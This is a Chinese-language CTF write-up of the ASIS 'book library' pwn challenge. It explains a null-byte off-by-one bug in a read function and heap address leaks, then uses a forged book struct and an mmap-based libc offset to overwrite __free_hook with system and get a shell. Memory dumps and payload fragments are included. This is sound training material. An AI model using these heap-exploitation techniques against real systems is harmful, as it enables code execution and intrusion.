0x01:一个图书管理
1 | Welcome to ASISCTF book library |
0x02:程序漏洞
程序中有一个用户自己编写的my_read函数,会在 ptr + len+1处写入一个’\x00’1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23signed __int64 __fastcall my_read(_BYTE *ptr, int len)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( len <= 0 )
return 0LL;
buf = ptr;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == len )
break;
}
*buf = 0;
return 0LL;
}
假如说len是32,输入32个字符之后,第33个会被置成\x00
0x03:泄漏book1_struct的地址。
Create_book的时候,会为book name mallloc、book descripeion、book strcut 分别malloc一块儿区域:。
其中book_struct是如下结构:1
2
3
4
5
6
7struct book
{
int ID;
void* name;
void* description;
int desc_size;
}
创建book_struct后,会将该book_strcut的地址放到BOOKS[ ]中。
1 | .data:000055ADE8F1B010 BOOKS dq offset unk_55ADE8F1B060 |
可以看出BOOKS与Author_name相差0x20个字节。
所以如果Anthor写入32个字符后,第33个会被置成\x00,再create一个book的话,会将这个\x00会改掉,就可以在Print功能时,打印Author的时候泄漏处book1_struct的地址。
1 | // leak book1_struct |
0x04:mmap
由mmap映射出来的区域与libc有固定偏移,所以createbook2的时候,把大小申请得超级大,分配的区域就是mmap映射的,这里用的大小是0x21000。
1 | // [mmap] |
1 | // [heap] |
PS:book2_struct的地址这样是在book1_struct + 0x30 处的,泄漏了book1_struct的地址,即也泄漏了book2_struct的地址。
0x05:构造fake_book1 + 0字节覆盖
如果使用Changename函数,AuthorName依旧输入32个字符,那么第33处将会被置\x00,也就是会从上面变成如下所示的状态:
1 | 00005586DF1E5040 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa |
本来储存在BOOKS[0]里的book1_struct的地址由0x00005586DF65A140变成0x00005586DF65A100,所以我们应该把book1_description的地址弄得尽量大,这样就能使fake_book1_struct的地址是落在description的范围的,这样我们就能通过改写book1_description来完善这个fake_book1_struct。
这里我弄得的book1是128的name,128的description,book1 descriprion的范围是:
1 | 00005586DF65A0B0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B............... <= book1_description |
所以我们可以在book1_description里构造一个fake_book1_struct:
1 | // payload = 'A'*16*5 + p64(1) + p64(book1_addr+0x30+0x8) + p64(book1_addr+0x30+0x8) + p64(0xffff) |
PS:要先布置好fake_book1_struct,再去0字节覆盖.
布置fake_book1_struct要在0字节覆盖前一步完成,先Edit book1再ChangeNmae的话会失败,book1_description里的内容改不了,会出现”Can’t find selected book!”
先Edit再Change,Change还没完成(也就是fake_book1_struct还没布置好的时候)就Edit book1的话,会到00005586DF65A100里找ID匹配ID,但这时候,还没布置,里面值是0,ID匹配不上,会报错。
0x06:leak book2_name的地址(mmap的区域)
Print book1就会泄漏处book2_name的地址,原因前面说啦
但是再理一理叭 (〃’▽’〃)
现在BOOK1里是如下:
1 | 00005586DF1E5060 00 A1 65 DF 86 55 00 00 <= fake_book1_struct的地址 (book1_struct地址的低字节被\x00覆盖) |
fake_book1_struct里如下:
1 | fake_book1_struct ==> |
0x00005586DF65A178里如下
1 | 00005586DF65A178 10 40 9B E1 69 7F 00 00 <=book2_name的地址(mmap映射的区域) |
Print book1 name 或者 description的时候都会泄漏出book2_name的地址
0x07 触发
这里通过 调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。
泄漏出mmap映射的区域之后,就可以通过与libc的固定偏移得到libc的运行基址。
进而可以找到free_hook函数的地址,system函数的地址,’/bin/sh’的地址。
设置__free_hook里为system的地址
1 | // payload = p64(binsh_addr) + p64(free_hook) |
这里就把book2_struct里的book2_description编程了free_hook的地址,等下再edit 2的时候就是在往free里写字。
1 | // payload = p64(system_addr) |
调用free函数时,由于free_hook里面的内容不为NULL,从而执行指向的指令。
PS这里Delete book1的时候传的参是fake_book1_struct 里的name那个,布置成/bin/sh的地址,调用free的时候,就会把/bin/sh压入栈中,然后free_hook里不为空且布置成了system函数的地址,所以跳转过去执行system函数,就getshell啦。
妙啊 这些内存!(๑′ᴗ‵๑)
0x08完整exp
1 | from pwn import * |
啊,弄完了,开心 ٩(๑>◡<๑)۶
0x09
几个点要注意一下
- my_read函数存在null byte off-by-one漏洞
- 泄漏book1_struct的地址,内存布局,刚好能覆盖那个\x00
- 应该在哪儿伪造fake_book1_struct,\x00覆盖book1_struct地址的最低一个字节,确保落在book1_description里
- mmap与libc有固定偏移
- 触发条件,__free_hook里面的内容不为NULL,从而执行指向的指令